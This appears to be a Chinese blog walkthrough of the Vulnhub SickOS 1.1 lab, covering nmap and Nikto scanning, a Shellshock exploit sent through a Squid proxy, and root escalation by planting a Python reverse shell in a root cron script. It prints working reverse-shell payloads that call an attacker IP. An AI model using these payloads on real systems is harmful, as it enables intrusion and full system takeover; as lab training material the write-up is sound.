Vulnhub靶机实操笔记-SickOS1.1-解法二

2023-07-02 11:16:58 浏览数 (1)

摘要

Vulnhub靶机实操笔记-SickOS1.1-解法二

涉及知识内容:Nikto扫描、Shellshock利用、定时任务内网提权

一、Namp扫描

1、主机存活判断

代码语言:javascript复制
sudo nmap -sn 192.168.32.0/24

2、快速扫描

以不低于1w的速度快速扫描端口

代码语言:javascript复制
sudo nmap --min-rate 10000 -p- 192.168.32.137

使用TCP和UDP的形式对扫出的端口进行协议的查看

3、TCP扫描

代码语言:javascript复制
sudo nmap -sT -sV -O -p22,3128,8080 192.168.32.137

4、UDP扫描

代码语言:javascript复制
sudo nmap -sU -p22,3128,8080 192.168.32.137

5、Namp的POC扫描

代码语言:javascript复制
sudo nmap --script=vuln -p22,3128,8080 192.168.32.137

二、Nikto扫描

Nikto是网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,可以用来端口和目录的扫描

这边提示是存在一个CVE-2014-6271漏洞,shellshock尝试去利用一下

代码语言:javascript复制
 sudo nikto -h 192.168.32.137 -useproxy http://192.168.32.137:3128
 
 -useproxy #使用HTTP代理

三、Shellshock利用

1、CVE-2014-6271漏洞介绍

百度了一下CVE-2014-6271漏洞的利用方式,EXP如下

CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中, 只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞, 获取目标系统当前Bash运行用户相同权限的shell接口。

第一步,修改数据包,命令执行:

代码语言:javascript复制
 GET /victim.cgi HTTP/1.1
 Host: 192.168.32.131:1234
 User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1;
 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 DNT: 1
 Sec-GPC: 1

第二步,监听端口,shell反弹成功:

2、NC监听端口

代码语言:javascript复制
sudo nc -lvvp 1234

3、反弹shell

代码语言:javascript复制
 sudo curl -v --proxy http://192.168.32.137:3128 http://192.168.32.137/cgi-bin/status -H "User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.32.131/1234 0>&1;"
 
 
 -v #输出详情
 --proxy #使用代理
 ###注意sh需要写绝对路径

成功获得shell

四、内网提权

1、查已安装的软件&python转稳定shell

命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell

代码语言:javascript复制
 dpkg -l #查已安装的软件
 python -c "import pty;pty.spawn('/bin/bash')"

2、定时任务提权

当cat connect.py时 看到 "I Try to connect things very frequently" “很规律的去连接一些事情,你可以尝试我的服务” ,也就是说明应该有一个定时任务

代码语言:javascript复制
 查看定时任务
 
 cat etc/crontab #常用,没有的话看看第二个命令
 cat etc/cron.d #cron.d 是/etc下的目录,重点进去是否有计划任务文件

第一个命令 ,可以看到 并没有什么定时任务

第二个命令,cron.d的目录下automate文件里有一个叫connect.py的定时任务,可以看到

每分钟以root权限用python去执行 /var/www/connect.py脚本

查看connect.py权限发现有写的权限

代码语言:javascript复制
ls -lai /var/www/connect.py

Google搜了一个python反弹脚本

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#python

代码语言:javascript复制
 python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
 
 因为在python文件中修改的,所有插入下面的具体内容
 import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.131",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

使用nc进行端口监听

代码语言:javascript复制
sudo nc -lvvp 4242

cd到/var/www对connect.py文件进行修改,shell比较奇怪,输入o新建一行,如何将shellcode输入到python中

成功获得root权限

五、靶场下载链接

https://download.vulnhub.com/sickos/sick0s1.1.7z

0 人点赞